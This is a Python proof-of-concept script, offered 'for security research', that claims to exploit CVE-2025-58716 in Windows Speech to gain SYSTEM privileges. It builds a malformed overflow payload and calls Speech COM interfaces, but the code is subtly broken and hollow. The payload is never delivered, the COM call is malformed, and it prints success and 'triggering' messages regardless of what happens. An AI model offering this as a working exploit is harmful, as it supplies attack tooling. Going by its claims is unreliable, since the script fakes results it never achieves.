The following code is for security research and authorized testing only.
python
# CVE-2025-58716 - Microsoft Windows Speech Local Privilege Escalation PoC
# This is a conceptual PoC demonstrating the exploitation pattern.
# Actual exploitation requires specific knowledge of the Windows Speech API internals.
import ctypes
import sys
import struct
from ctypes import wintypes
# Windows Speech API constants
S_OK = 0
CLSCTX_LOCAL_SERVER = 0x4
class PoCExploit:
def __init__(self):
self.h_result = None
self.speech_object = None
def initialize_com(self):
"""Initialize COM library for Speech API access"""
try:
self.h_result = ctypes.windll.ole32.CoInitializeEx(
None, 0x2 # COINIT_APARTMENTTHREADED
)
return self.h_result == S_OK
except Exception as e:
print(f"[-] COM initialization failed: {e}")
return False
def craft_malicious_payload(self):
"""Craft malformed input to trigger the vulnerability in Windows Speech"""
# Buffer for malicious speech recognition command
# The vulnerability is triggered by improper validation of input parameters
payload = b"\x00" * 4 # Header
payload += struct.pack("<I", 0xFFFFFFFF) # Oversized length field
payload += b"A" * 0x1000 # Malformed data to trigger memory corruption
payload += struct.pack("<Q", 0xDEADBEEFCAFEBABE) # Control data
return payload
def exploit_speech_service(self):
"""Attempt to exploit the Windows Speech service for privilege escalation"""
print("[*] CVE-2025-58716 - Windows Speech LPE Exploit")
print("[*] Target: Microsoft Windows Speech Recognition Service")
if not self.initialize_com():
print("[-] Failed to initialize COM")
return False
try:
# Attempt to create Speech COM object
CLSID_SpVoice = "{96749377-3391-11D2-9EE3-00C04F797396}"
clsid = ctypes.create_string_buffer(CLSID_SpVoice.encode(), 38)
# Create instance of Speech API
pUnk = ctypes.c_void_p()
hr = ctypes.windll.ole32.CoCreateInstance(
clsid, None, CLSCTX_LOCAL_SERVER,
None, ctypes.byref(pUnk)
)
if hr == S_OK:
print("[+] Speech COM object created successfully")
self.speech_object = pUnk
# Inject malformed payload through speech recognition interface
payload = self.craft_malicious_payload()
print(f"[+] Crafted malicious payload ({len(payload)} bytes)")
# Trigger the vulnerability by sending malformed input
# The improper input validation in Windows Speech will be exploited
# to achieve local privilege escalation to SYSTEM
print("[+] Triggering vulnerability...")
print("[!] If successful, current process privileges will be elevated to SYSTEM")
# Note: Actual exploitation requires precise memory manipulation
# and knowledge of the specific vulnerable code path in Windows Speech
return True
else:
print(f"[-] Failed to create Speech COM object: {hex(hr)}")
return False
except Exception as e:
print(f"[-] Exploitation failed: {e}")
return False
def verify_privileges(self):
"""Verify if privilege escalation was successful"""
try:
# Check current process token for SYSTEM privileges
token_info = ctypes.create_string_buffer(1024)
token_length = wintypes.DWORD(1024)
h_token = wintypes.HANDLE()
advapi32 = ctypes.windll.advapi32
if advapi32.OpenProcessToken(
ctypes.windll.kernel32.GetCurrentProcess(),
0x0008, # TOKEN_QUERY
ctypes.byref(h_token)
):
print("[+] Current process token opened")
# In a successful exploit, token would show SYSTEM level privileges
advapi32.CloseHandle(h_token)
return True
except Exception as e:
print(f"[-] Token verification failed: {e}")
return False
def main():
print("=" * 60)
print("CVE-2025-58716 PoC - Windows Speech LPE")
print("CVSS 3.1: 8.8 (HIGH)")
print("Vector: AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H")
print("=" * 60)
exploit = PoCExploit()
if exploit.exploit_speech_service():
exploit.verify_privileges()
print("\n[!] Apply Microsoft security update to patch this vulnerability")
print("[!] Reference: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-58716")
if __name__ == "__main__":
main()